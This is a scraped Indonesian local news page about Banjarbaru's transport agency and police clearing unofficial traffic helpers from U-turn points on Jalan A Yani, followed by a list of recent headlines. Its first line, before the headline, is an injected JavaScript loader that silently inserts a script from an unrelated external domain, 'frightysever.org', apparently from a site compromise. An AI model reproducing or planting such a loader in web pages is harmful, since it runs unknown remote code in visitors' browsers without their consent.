(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Para ‘Pengatur’ U Turn A Yani Dituding Bikin Kacau Lalin


KANALKALIMANTAN.COM, BANJARBARU – Aktivitas pengatur lalu lintas (lalin) tak resmi di putaran balik ruas Jalan A Yani ditangani serius Pemerintah Kota Banjarbaru.

Dinas Perhubungan (Dishub) Kota Banjarbaru mempertimbangkan sejumlah persoalan yang sebelumnya dilakukan pengatur lalin tak resmi itu, hingga dirasa patut untuk ditertibkan.

Kepala Bidang (Kabid) LLAJ Dishub Banjarbaru, Adi Royan Pratama menyebutkan, salah satu persoalan yakni keberadaan para pengatur lalin sudah dianggap mulai meresahkan.

Baca juga: 15 Maret, Hari Hak Konsumen Sedunia

Kepala Bidang LLAJ Dishub Banjarbaru, Adi Royan Pratama. Foto: wanda

“Terutama oknum yang dalam berkegiatannya sambil mabuk minuman keras (miras) membuat mereka tidak terkontrol di tengah jalan,” ungkap Adi Royan Pratama kepada Kanalkalimantan.com, Jumat (15/3/2024) pagi.

Pihaknya menilai bahwa keberadaan pengatur lalin tak resmi itu sudah jauh dari unsur mengatur lalu lintas di jalanan.

Bahkan di satu sisi lagi mereka dianggap memberatkan dan mengacaukan arus lalu lintas.

“Kami menilai mereka sudah jauh dari unsur mengatur lalu lintasnya, dan bahkan mungkin sangat mengacau arus lalu lintas,” jelas Adi.

Baca juga: Pipa di A Yani Bocor, Pelanggan di Banjarmasin Barat dan Tengah Seret Air

Berdasarkan pertimbangan itu, Dishub Banjarbaru mencoba untuk mengintensifkan penanganan pengatur lalin yang kerap membantu pengendara berputar balik itu.

“Antara lain kami sudah menerjunkan personel yang ditempatkan ke titik-titik putar balik, pada jam jam tertentu juga yang kami anggap krusial untuk berjaga,” sebut dia.

Dalam penanganan para pengatur lalin di ibu kota ini, Dishub bekerjasama dengan Polres Banjarbaru untuk menertibkan beberapa orang yang bekerja di sejumlah titik U Turn.

Disebutkan Adi, dari pengakuan beberapa dari mereka, uang capek yang didapat per hari membantu pengendara berputar balik bervariasi setiap titiknya. “Dari Rp 50 ribu hingga Rp 150 ribu per harinya,” sebut Adi.

Baca juga: Fasilitasi Pedagang Kecil di Bazar Ramadan Lanud Sjamsudin Noor

Dishub mengimbau kepada masyarakat Kota Banjarbaru ataupun masyarakat pengguna jalan A Yani agar tidak lagi memberikan uang pada pengatur lalin tak resmi itu.

Karena menurutnya, jika mereka terus melakukan kegiatan di saat masyarakat juga ikut memberikan uang, maka otomatis keberadaan pengatur lalin tak resmi itu akan selalu ada.

“Kami harapkan dengan masyarakat berhenti memberikan uang, sehingga keberadaan pengatur lalin tak resmi dapat diminimalkan,” tuntas dia. (Kanalkalimantan.com/wanda)

Reporter: wanda
Editor: bie


Muhammad Andi

Recent Posts

Ribuan Peserta Ramaikan Festival Budaya Tinggang Menteng Panunjung Tarung

KANALKALIMANTAN. COM, KUALA KAPUAS - Ribuan orang memeriahkan Festival Budaya Tinggang Menteng Panunjung Tarung dalam… Read More

15 menit ago

Angkat Menu Hulu Sungai, Cafe and Eatery “Warung Pagat” Sajikan Mandai, Tarap hingga Pakasam

KANALKALIMANTAN.COM, BANJARBARU - Bisnis F&B atau Food and Beverage kian berkembang di Ibu Kota Provinsi… Read More

4 jam ago

Pemkab Kapuas Gelar Forum Konsultasi Publik RPJMD 2025–2029

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas menggelar forum konsultasi publik terkait rencana awal… Read More

21 jam ago

Puncak Hari Jadi ke-26 Kota Banjarbaru Dihadiri Wali Kota 2000-2005 Rudy Resnawan

Pj Wali Kota : Sangat Beruntung Kota Banjarbaru Mempunyai Pendahulu yang Visioner dan Inovatif Read More

1 hari ago

Widya Dewi, Penyuluh Pertanian Asal HSU Raih Penghargaan dari Mentan RI

KANALKALIMANTAN.COM, JAKARTA - Widya Dewi, penyuluh pertanian asal Kabupaten Hulu Sungai Utara (HSU) Kalimantan Selatan… Read More

1 hari ago

Ribuan Orang Hadiri Haul KH Ahmad Hudhori di Martapura Timur

KANALKALIMANTAN.COM, MARTAPURA - Wakil Bupati Banjar Habib Idrus Al Habsyi beserta alim ulama, habaib dan… Read More

1 hari ago